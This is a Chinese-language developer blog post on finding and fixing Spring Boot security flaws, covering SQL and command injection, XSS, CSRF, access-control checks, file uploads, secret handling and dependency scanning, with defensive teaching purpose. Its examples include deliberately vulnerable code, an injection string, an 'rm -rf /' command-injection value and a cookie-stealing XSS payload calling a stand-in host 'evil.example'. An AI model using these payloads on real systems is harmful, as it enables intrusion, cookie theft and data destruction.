news 2026/10/21 8:45:24

Spring Boot后端安全漏洞修复:从SQL注入到越权的实战指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Spring Boot后端安全漏洞修复:从SQL注入到越权的实战指南

这几年不管是自己维护项目,还是帮别人做代码评审,Spring Boot 后端里挖出来的安全漏洞真不算少。很多问题并不是那种需要多高深技巧才能发现的 0day,恰恰是最基础的写法疏忽,比如 SQL 拼接、接口不做权限校验、文件上传不限制类型。这篇就把我在实际项目中处理过的高频漏洞类型、修复思路、具体代码改法一次说清楚,方便你直接对照排查。

这篇内容适合谁?主要给用 Spring Boot 做后端接口开发的工程师,前后端分离项目尤其适用。你不需要是安全专家,只要会写基本的 Java 和 Spring Boot 代码,就能照着里面的方案修复自己项目里的问题。我尽量少讲空泛的理论,多给能直接落地的写法。

1. 先盘一盘 Spring Boot 项目里最常见的漏洞类型

Spring Boot 给开发带来了极大的便利,但也会带来一种错觉:框架好像帮我们处理了安全。实际上很多漏洞恰恰是因为框架的“自动配置”和开发者的“过于信任”组合出来的。

我按自己遇到过的案例频率,把后端安全漏洞大致分成几类:

  • 注入类漏洞:SQL 注入、命令注入、表达式注入。SQL 注入永远排第一,MyBatis 里#{}和${}写混的情况太常见了。
  • 跨站脚本(XSS)与跨站请求伪造(CSRF):尤其是前后端分离之后,很多人觉得 CSRF 不需要管了,但后端接口如果完全不做校验,风险仍然存在。
  • 越权漏洞:水平越权(比如用户 A 通过改参数访问用户 B 的数据)和垂直越权(普通用户调用管理员接口)经常被忽略。
  • 文件上传漏洞:上传接口不限制扩展名、不校验文件头、不限制大小,导致恶意文件被当作静态资源访问。
  • 敏感信息泄露:配置文件里裸奔的数据库密码、Redis 密码、密钥;异常信息直接抛给前端;日志里打印了用户手机号。
  • 依赖漏洞:引入的第三方组件存在已知 CVE 漏洞,却长期不升级。

这些漏洞覆盖了 OWASP Top 10 里的大部分内容。修复的时候不建议头疼医头,而是从“输入校验”“权限控制”“输出安全”“依赖治理”这几个维度一起梳理。很多开发者在公众号文章里看过安全概念,但到了自己代码里不知道该从哪里下手,其实大部分问题都能通过下面几个章节的方式解决。

2. 注入类漏洞:从 SQL 注入到更隐蔽的表达式注入

2.1 SQL 注入的排查与修复

后端接口里最容易出问题的就是动态 SQL。很多人都知道不要拼接字符串,但实际改代码时还是会看到这样的写法:

// 错误示例:直接拼接用户输入 String sql = "SELECT * FROM user WHERE name = '" + username + "'"; jdbcTemplate.queryForList(sql);

这种写法只要username传入' OR '1'='1,密码就被绕过了。修复方式是使用参数化查询:

// 正确示例:参数绑定 String sql = "SELECT * FROM user WHERE name = ?"; jdbcTemplate.queryForList(sql, username);

如果是 MyBatis,问题更隐蔽。很多开发者知道#{}是预编译占位符,${}是字符串替换,但到了动态排序、动态表名场景,还是会图省事用${}:

<!-- 危险:orderByColumn 来源于前端参数 --> <select id="listUsers" resultType="com.example.User"> SELECT * FROM user ORDER BY ${orderByColumn} ${orderDirection} </select>

这个位置没法用#{},因为排序字段和排序方向不能作为预编译参数绑定(MySQL 的 ORDER BY 后面不认占位符)。此时修复方式就是加白名单:

// 在 Service 层强制校验排序字段,不在 SQL 里做任意拼接 private static final Set<String> SORT_WHITELIST = Set.of("create_time", "update_time", "username"); public List<User> listUsers(String orderByColumn, String orderDirection) { if (!SORT_WHITELIST.contains(orderByColumn)) { orderByColumn = "create_time"; } boolean asc = "asc".equalsIgnoreCase(orderDirection) || "ascending".equalsIgnoreCase(orderDirection); String direction = asc ? "ASC" : "DESC"; // 此时 orderByColumn 已经过白名单校验,可以安全拼接 return userMapper.listUsers(orderByColumn, direction); }

这里有个经验:如果哪个位置避免不了使用${},那这个位置输入的只能来自后端枚举或白名单,绝对不能直接透传前端参数。如果团队有代码规范插件,可以把这种写法加入检查项,避免新代码继续踩坑。

2.2 命令注入与表达式注入

除了 SQL 注入,命令注入和表达式注入也值得留意。命令注入常见于调用外部程序的功能,比如传一个文件名给Runtime.exec()或者ProcessBuilder:

// 危险:filename 若包含 ;rm -rf / 后果很严重 String cmd = "cat " + filename; Process process = Runtime.getRuntime().exec(cmd);

修复思路不是去过滤命令字符,而是避免拼接 Shell 命令。用ProcessBuilder时通过参数列表传值,不让系统 Shell 参与解析:

ProcessBuilder pb = new ProcessBuilder("cat", filename); Process process = pb.start();

表达式注入更多发生在规则引擎、模板引擎、SPEL 表达式解析场景。比如使用SpelExpressionParser时,如果表达式内容来自用户输入,攻击者可利用反射能力构造Class对象执行恶意代码。能不用用户输入直接做表达式求值就别用,如果确实需要规则配置,只允许白名单内的方法调用。

注意:写代码时不要形而上学地堆砌各种过滤函数。安全的本质不是“过滤掉坏字符”,而是“把数据当数据,把代码当代码”。

3. XSS 与 CSRF:页面相关漏洞的后端防线

3.1 XSS 攻击面与 Java 侧的处理

XSS 看起来是前端问题,但后端如果完全不管,攻击者就能借接口注入恶意脚本。常见于评论、昵称、文章内容、搜索关键词回显这些位置。攻击者提交:

<script>fetch('//evil.example/steal?cookie='+document.cookie)</script>

如果后端把这段内容存到数据库,然后在别的用户访问的页面上原样输出,就会触发攻击。

在后端能做几件事:统一输入侧做 HTML 标签清洗、输出侧做转义、响应头加Content-Security-Policy。先说清洗,推荐使用 OWASP 的 Java HTML Sanitizer 组件,对富文本内容做白名单化的标签过滤:

// 引入依赖 // org.owasp.esanitizer:esapi (或使用 owasp-java-html-sanitizer) PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS); String safeHtml = policy.sanitize(userInputHtml);

对于不需要富文本的普通文本,更简单的方式是入库前直接剥离标签,或者前端统一对& < > " '做转义。后端接口如果给 App 用,返回 JSON 时强烈建议给响应头加上:

Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff

nosniff这个头能防止浏览器把响应体错误解析成 HTML,减少 MIME 嗅探型 XSS。还可以在安全相关配置类里加 CSP:

@Configuration public class SecurityHeadersConfig { @Bean public FilterRegistrationBean<OncePerRequestFilter> securityHeadersFilter() { FilterRegistrationBean<OncePerRequestFilter> registration = new FilterRegistrationBean<>(); registration.setFilter(new OncePerRequestFilter() { @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException { response.setHeader("X-Content-Type-Options", "nosniff"); response.setHeader("X-Frame-Options", "DENY"); response.setHeader("Content-Security-Policy", "default-src 'self'"); chain.doFilter(request, response); } }); registration.addUrlPatterns("/*"); return registration; } }

3.2 CSRF 校验的取舍

CSRF 的原理是浏览器会自动携带 Cookie,攻击者可以在自己的页面上构造表单提交或 AJAX 请求,诱导已登录用户触发操作。传统方案是校验 Token、请求头或同源检查。

Spring Security 默认启用 CSRF 防护,很多前后端分离项目嫌麻烦直接禁掉:

http.csrf(csrf -> csrf.disable());

如果你项目里所有的接口都使用 Token(比如放在 Header 里的 JWT),并且不使用 Cookie 会话,禁用 CSRF 是可接受的。但很多项目仍然是 Cookie 会话模式,或者部分接口兼容 Cookie,这时就不能一刀切禁用。

折中的做法是:保留 CSRF 防护,但通过CookieCsrfTokenRepository.withHttpOnlyFalse()让前端读取 Token,并在每次请求时放到自定义 Header 里。也可以换一种思路,在后端过滤器里校验非 GET 请求的Referer或Origin头,和当前域名一致才放行。这个方案对纯 API 场景侵入性更小,也能挡住大部分跨站请求。

经验:CSRF 的核心矛盾是“浏览器自动携带身份凭证”。如果你正在从 Cookie 会话切换为 Header Token,这一步应该尽早完成。只要 Cookie 还存在,CSRF 的威胁就没有真正消除。

4. 越权漏洞与文件上传的实战修法

4.1 水平越权:不能只依赖前端隐藏按钮

水平越权是我见过的发生频率最高的漏洞。后端接口只判断了“用户是否登录”,但没有判断“这条数据是否属于这个用户”。典型场景:

// 危险:任何登录用户都能删除其他用户的订单 @DeleteMapping("/order/{id}") public Result deleteOrder(@PathVariable Long id) { orderService.delete(id); return Result.success(); }

攻击者登录自己的账号,然后遍历id参数,就能把别人的订单删掉。修复方式是在业务层做归属校验:

@DeleteMapping("/order/{id}") public Result deleteOrder(@PathVariable Long id, @AuthenticationPrincipal LoginUser loginUser) { OrderDO order = orderService.getById(id); if (order == null) { return Result.fail("订单不存在"); } // 校验订单归属:当前登录用户 ID 必须与订单用户 ID 一致 if (!order.getUserId().equals(loginUser.getUserId())) { // 统一抛业务异常,不要暴露“订单存在”或“订单不存在”的区别 throw new BizException(ErrorCode.FORBIDDEN); } orderService.delete(id); return Result.success(); }

这种校验应该下沉到 Service 层,而不是在 Controller 层写完就不管,因为同一个接口可能被多个入口调用。水平越权往往和“只用了主键 ID”有关,可以尽量使用不可枚举的业务编号(如带随机后缀的单号),但根本解法还是每次操作都校验资源所有权。

4.2 垂直越权:接口权限要显式声明

垂直越权就是普通用户调用管理员接口。很多项目只在菜单上隐藏了入口,但 Controller 没有任何注解或拦截校验。修复的核心是引入显式的权限模型。

如果使用 Spring Security,可以在方法上加@PreAuthorize:

@PreAuthorize("hasRole('ADMIN')") @PostMapping("/user") public Result createUser(@RequestBody CreateUserRequest request) { userService.create(request); return Result.success(); }

需要注意的是,hasRole('ADMIN')和hasAuthority('admin:delete')是两种权限模型。按钮级权限建议用后者,通过@PreAuthorize("hasAuthority('user:delete')")来做更细的校验。同时全局开启方法级安全:

@EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = true)

除了注解,还建议写一个全局的接口权限扫描工具,启动时检查哪些接口没有加任何安全注解,输出告警列表。这样可以尽早发现漏网的接口。

4.3 文件上传的完整校验链

文件上传的坑也非常多。只校验扩展名完全不够,攻击者可以上传一个xxx.jpg.jsp,或者在图片文件头GIF89a后面拼接恶意脚本。我建议至少做四层校验:

  • 校验扩展名白名单:只允许.jpg .png .gif .pdf .zip等常用类型。
  • 校验 MIME Type:通过文件流识别真实类型,不要信任前端提交的contentType。
  • 校验文件内容头:图片文件的二进制前缀有固定特征。
  • 限制文件大小:提前设置上传最大值,防止超大文件拖垮服务端。

用 Spring 实现时可以使用 Apache Tika 检测真实文件类型:

<dependency> <groupId>org.apache.tika</groupId> <artifactId>tika-core</artifactId> <version>2.9.0</version> </dependency>
public boolean isAllowedImage(MultipartFile file) throws IOException { // 1. 扩展名校验 String originalFilename = file.getOriginalFilename(); String ext = StringUtils.getFilenameExtension(originalFilename); if (!Set.of("jpg", "jpeg", "png", "gif", "webp").contains(ext != null ? ext.toLowerCase() : "")) { return false; } // 2. 内容类型校验 String detectedType = new Tika().detect(file.getInputStream(), originalFilename); return detectedType != null && detectedType.startsWith("image/"); }

文件存储路径也很关键。不要把上传文件存到应用根目录的静态资源目录下。建议使用独立的文件服务器、OSS 对象存储,或者存到应用目录之外,通过受控的下载接口读取。否则用户上传了.html或.svg文件,就能借助同域路径发起 XSS。之前遇到一个案例,某公司网盘功能允许上传.html文件,存储路径正好在 Nginx 静态资源目录,攻击者上传一个钓鱼页面,然后诱导内部员工点击,账号信息全被收集。修复方式是调整存储路径,并给下载接口强制加Content-Disposition: attachment。

5. 敏感信息保护与依赖漏洞治理

5.1 配置文件里的秘密不能明文

Spring Boot 的application.yml往往存储在 Git 仓库里。数据库密码、Redis 密码、第三方 AppSecret 明文写在里面,等于把这些密钥共享给了所有能访问代码仓库的人。

修复方向有几个:

  • 使用环境变量占位符:${DB_PASSWORD},部署环境注入真实值。
  • 使用配置中心(如 Nacos、Apollo)管理敏感配置,项目里只留占位符。
  • 使用 Jasypt 组件对配置值加密,运行环境提供解密密钥。

Jasypt 用法如下,先引入依赖:

<dependency> <groupId>com.github.ulisesbocchio</groupId> <artifactId>jasypt-spring-boot-starter</artifactId> <version>3.0.5</version> </dependency>

配置变成:

spring: datasource: url: jdbc:mysql://localhost:3306/demo username: root password: ENC(加密后的密文)

启动时通过环境变量注入解密密钥:

java -jar app.jar --jasypt.encryptor.password=你的解密密钥

不过 Jasypt 并不是万无一失,密钥一样泄露的话密文也能解出来。真正稳妥的方案是使用云厂商的密钥管理服务(KMS),让应用运行时从 KMS 获取密钥,密钥不落盘。

5.2 日志与异常信息同样会泄露敏感数据

另一个低频但高危害的问题是日志。排查线上问题时会顺手log.info("user: {}", user),结果把手机号、身份证号、甚至密码明文打到了日志系统里。如果日志平台权限没控制好,等于所有能看日志的人都拿到了用户数据。

建议用日志脱敏工具,或者在 DTO 输出时专门写序列化策略。简单做法是定义脱敏工具类,对手机号、邮箱、身份证做中间打码:

public String maskPhone(String phone) { if (phone == null || phone.length() < 7) { return "****"; } return phone.substring(0, 3) + "****" + phone.substring(7); }

全局异常处理器也要注意,不要把异常堆栈原样返回给前端。定义统一异常响应体,只返回错误码和提示信息,完整堆栈打到服务端日志即可。我之前排查过一个项目,报错时直接把 SQL 语句和参数一起返回给前端,攻击者能通过构造错误请求获取表结构信息,这属于典型的敏感信息泄露。

5.3 依赖漏洞排查与升级策略

Spring Boot 依赖数量多,版本升级又频繁,很容易藏着已知漏洞。检查工具用 OWASP Dependency-Check 或 Maven 插件就能跑:

mvn org.owasp:dependency-check-maven:check

输出dependency-check-report.html,里面会列出存在 CVE 的组件、漏洞等级和修复建议版本。

这里有一个实际经验:不要一看到 CVE 就盲目升到最新大版本,可能会引入不兼容变更。合理做法是确定一个“安全基线版本”,例如 Spring Boot 使用某项版本,然后定期进行安全检查,如果漏洞影响应用实际暴露的攻击面才立刻升级。比如某个 JSON 解析库漏洞可以通过恶意 JSON 触发,而你的应用确实把 JSON 解析暴露给外部,那么必须尽快升;如果漏洞只在特殊配置下触发,可以排期处理。

也要关注传递依赖。你看到的pom.xml里没有直接引入某个库,但它作为 Spring Boot Starter 的传递依赖被带进来了,检查时照样会报漏洞。此时可以在显式依赖中用<exclusions>排除旧版本,再引入安全版本。

6. 常见问题排查与自查清单

6.1 参数校验写在 Controller 还是 Service?

这个问题经常被讨论,我的建议是两层配合:Controller 层负责格式校验(非空、长度、手机号格式),Service 层负责业务校验(归属、状态、权限)。只在前端校验绝对不行,因为接口可以被直接调用。Spring Boot 里使用@Valid+@NotBlank等注解做参数校验:

@Data public class CreateUserRequest { @NotBlank(message = "用户名不能为空") private String username; @Pattern(regexp = "^[1][3-9]\\d{9}$", message = "手机号格式不正确") private String phone; }

Controller 参数加@Valid @RequestBody。但是记住,@Valid只是防君子不防小人,别把唯一的安全防线放在这,后面的权限校验和业务校验绝不能省略。

6.2 拦截器、过滤器、AOP 的执行顺序

修复漏洞时经常要加过滤器或拦截器做统一校验,很多开发者没搞清顺序。Spring Boot 中执行顺序大致是:

  1. Filter(Servlet 过滤器,在 Spring 容器之外注册,最先执行)
  2. Interceptor(Spring MVC 拦截器)
  3. Aspect(AOP 切面)

如果要做全局的请求日志、Token 解析、CSRF 校验,建议用 Filter;如果要绑定到某些 URL 模式做 Handler 级别校验,用 Interceptor。常见坑是自定义 Filter 没加@Order导致执行顺序不对劲,或拦截器不生效是因为没在WebMvcConfigurer里注册。

@Configuration public class WebConfig implements WebMvcConfigurer { @Autowired private AuthInterceptor authInterceptor; @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(authInterceptor) .addPathPatterns("/api/**") .excludePathPatterns("/api/login", "/api/register"); } }

6.3 安全自查清单

结合多年的代码评审经验,我整理了一份后端安全检查表,你可以直接拿来做项目上线前的自查:

检查项检查方法修复参考
SQL 注入全局搜索#{}与${}用法,对${}逐个排查输入来源参数化查询、白名单校验
XSS 漏洞检查所有富文本输入是否存在清洗,非富文本是否统一转义OWASP Sanitizer、CSP 头
CSRF 风险确认认证方式,非 Cookie 场景需评估禁用后的风险保留 Token 校验或同源校验
水平越权抽查删除、修改、查询接口是否校验数据归属业务层做 userId 归属校验
垂直越权扫描所有接口是否有@PreAuthorize或权限校验逻辑权限注解显式声明
文件上传检查上传接口的扩展名校验与真实类型识别Tika + 白名单 + 存储隔离
敏感信息检查配置文件、日志输出、异常响应体中是否含密钥与个人数据环境变量、脱敏、统一错误码
依赖漏洞定期执行 Dependency-Check升级或排除存在 CVE 的组件
默认配置确认是否关闭了 actuator 未授权端点只暴露 health,其他端点用权限保护
HTTPS 与 HSTS生产环境确认是否强制 HTTPS跳转配置 + HSTS 响应头

6.4 修复过程中容易忽略的细节

很多开发者修复漏洞时会陷入两个极端:要么只在验证环境改一下,不上线跟进;要么改完一处就觉得万事大吉。我自己的经验是,修复后一定做一次回归,重点测试原来是漏洞的路径,同时确认正常功能没有被破坏。

比如改 SQL 注入时,原来ORDER BY ${orderByColumn}可能支持create_time desc,改白名单后写成ORDER BY create_time DESC,语义没变但是前端传的desc大小写不同也需要兼容。再比如给查询接口加数据归属校验后,某条数据因为关联组织问题原本能达到某个状态,被新校验拦截后出现接口报错,这些都是在具体业务里才会遇到的情况。

另外要坚持一个原则:安全修复要尽量统一,不要像打补丁一样这里修一处、那里改一处。最好是项目里沉淀一套公共模块,比如统一的AuthUtil、统一的FileStorageService、统一的SecurityUtils,所有新功能都走同一套代码路径。这样下次再评审时,只需要检查新代码有没有绕过公共组件。

写在最后

老实说,我自己早期也犯过不少错误。最典型的某次是给一个管理后台加了导出功能,当时为了赶进度直接用字符串拼接 SQL,结果上线后被安全测试扫出来。那次之后我就长记性了,任何从外部传入的参数,默认都先当不可信数据处理。设计接口时先想清楚“如果这个参数被恶意构造会怎样”,而不是先想“正常情况下这个参数是什么”。

安全漏洞修复永远是一个持续过程,今天把 SQL 注入堵住了,明天可能还有 Log4j 这样的组件漏洞出现。保持对依赖的检查习惯,保持代码评审时对安全问题的敏感度,项目就会稳定很多。这套方法我用了几年,修复过的大小问题加起来有几十个,每次都能在公告发布前把漏洞处理掉,关键是坚持把安全当作开发的一部分。

后续如果条件允许,我打算把本地的安全检测流程做成一个小的命令行工具,把依赖检查、加密扫描、配置检查这些步骤自动化,到时候再做分享。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/21 8:45:06

Unity多人协同签名系统:实时留痕与防篡改设计

1. 项目概述&#xff1a;这不是“电子签名”&#xff0c;而是多人协同留痕的实时交互系统“Unity 多人签名”这个标题&#xff0c;乍看容易被误解为在Unity里做个带手写笔迹的UI控件——比如让几个用户轮流在屏幕上画个名字&#xff0c;导出一张PNG完事。但真正做过工业级协同应…

作者头像 李华
网站建设 2026/10/21 8:44:56

OpenClaw引爆智能体工程化:从轻量级运行时到硬件新风口

1. 本周趋势总览&#xff1a;三条主线交织如果只用一句话概括第11周的技术社区&#xff0c;那就是“智能体不再只是概念&#xff0c;而是开始争夺底层入口的一周”。OpenClaw这个名字在多个社区里几乎同时刷屏&#xff0c;从开源讨论组到产品群&#xff0c;从个人开发者到做企业…

作者头像 李华
网站建设 2026/10/21 8:44:06

基于Vue+Node.js的培训班成绩管理系统设计与实现

做培训班管理系统的念头&#xff0c;往往是从一次手忙脚乱的月考统计开始的。我带过的一个模拟项目&#xff0c;就是给公务员考试培训班做成绩管理——几十个学员、每周模拟测验&#xff0c;行测申论加面试模拟多个科目&#xff0c;成绩散落在Excel里&#xff0c;排名要靠公式拉…

作者头像 李华
网站建设 2026/10/21 8:43:50

AI重构计算机科学:从研究范式到工程实践的深度变革

计算机科学正在经历一次不算温和的重构&#xff0c;而且这次重构的源头不在学术界内部&#xff0c;而是被AI应用像推土机一样从产业端倒逼出来的。前阵子和部门里刚带的一位校招生聊研究方向&#xff0c;他开口就是“传统算法岗是不是没前途了”&#xff0c;我反问他“编译器这…

作者头像 李华
网站建设 2026/10/21 8:43:29

LiteLLM:统一多模型调用的AI工程化适配层

1. LiteLLM不是另一个大模型&#xff0c;而是一把“万能适配器”你可能在某个技术群、某次内部分享&#xff0c;或者某篇工程文档里&#xff0c;反复看到这个词&#xff1a;LiteLLM。它不像GPT、Claude、Qwen那样被拿来直接聊天&#xff0c;也不像Llama-3那样被下载到本地跑推理…

作者头像 李华
网站建设 2026/10/21 8:43:12

大数据集群启停、端口与时间同步三要素实战指南

1. 这不是“一键启停”那么简单&#xff1a;一个真实运维场景下的集群服务管理逻辑你看到标题里写着“大数据集群服务启停脚本/常用端口/时间同步”&#xff0c;第一反应可能是&#xff1a;“哦&#xff0c;又是一个Shell脚本合集”。但如果你真在某公司负责过Hadoop、Spark或F…

作者头像 李华